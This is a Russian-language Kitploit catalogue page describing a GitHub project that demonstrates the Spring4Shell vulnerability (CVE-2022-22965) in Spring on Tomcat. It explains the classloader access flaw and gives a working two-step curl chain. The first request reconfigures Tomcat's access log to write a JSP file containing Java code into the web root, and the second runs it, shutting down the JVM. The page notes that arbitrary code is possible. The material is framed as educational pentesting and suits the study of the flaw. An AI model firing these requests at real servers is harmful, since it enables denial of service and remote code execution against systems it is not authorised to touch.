Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
cve-2022-22965 — Минимальная демонстрация эксплуатации Spring4Shell (CVE-2022-22965), нацеленная на Tomcat через манипуляцию загрузчиком классов, с пошаговой цепочкой атаки на основе curl для образовательного пентеста. | Kitploit
Инструменты/GitHubGitHub/mwojterski/cve-2022-22965
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubmwojterski/cve-2022-22965

cve-2022-22965

Минимальная демонстрация эксплуатации Spring4Shell (CVE-2022-22965), нацеленная на Tomcat через манипуляцию загрузчиком классов, с пошаговой цепочкой атаки на основе curl для образовательного пентеста.

Репозиторий
24 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Минимальный пример CVE-2022-22965

На момент написания привязка параметров запроса spring-web (WebDataBinder) по умолчанию разрешает доступ к методу getClass() объекта. Это внутренняя деталь реализации, специфичная для JVM (по моему скромному мнению, не должна быть доступна). Как таковая, её функциональность может меняться и расширяться в будущих версиях JVM. Это создаёт постоянное бремя для сопровождающих, пытающихся предугадать творческие способы, которыми злоумышленники могут использовать этот мощный доступ в злонамеренных целях.

В данном конкретном CVE причиной стал метод Class::getModule(), появившийся в Java 9. Он открыл незащищённый доступ к загрузчику классов.

В примере ниже атакующий использует его, чтобы перенастроить журнал доступа Tomcat. Обычно он записывает краткую информацию о каждом запросе, полученном сервером, в файл журнала. Свойство pattern определяет, какая информация записывается, directory — куда следует помещать файл журнала, prefix, fileDateFormat и suffix — каким должно быть имя файла.

Следующий запрос будет направлен на POST-эндпоинт нашего уязвимого приложения poc-0. Он перенастраивает журнал так, чтобы для каждого обработанного запроса записывать строку <%{e}iSystem.exit(0);%{e}i> в файл f.jsp в каталоге webapps/ROOT, где %{e}i — это заполнитель для значения заголовка e запроса.

Это неожиданное/творческое использование журнала, а всё остальное — стандартная работа JSP и сервера приложений Tomcat.

root@kitploit:~
curl -v -H 'e:%' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=<%25%7be%7diSystem.exit(0);%25%7be%7di>' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.prefix=f' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' \
-d 'class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp' \
http://container-ip:8080/poc-0/

Через некоторое время будет создан файл f.jsp, он будет подхвачен Tomcat, скомпилирован и станет доступен для обслуживания трафика. Следующий запрос вызывает его, что приведёт к выполнению встроенного кода System.exit(0); и остановке JVM, на которой он работает.

root@kitploit:~
curl -v http://container-ip:8080/f.jsp

Это пример DoS-атаки, но System.exit(0); — это обычный Java-код, поэтому атакующий может сделать гораздо больше.

Скачать инструмент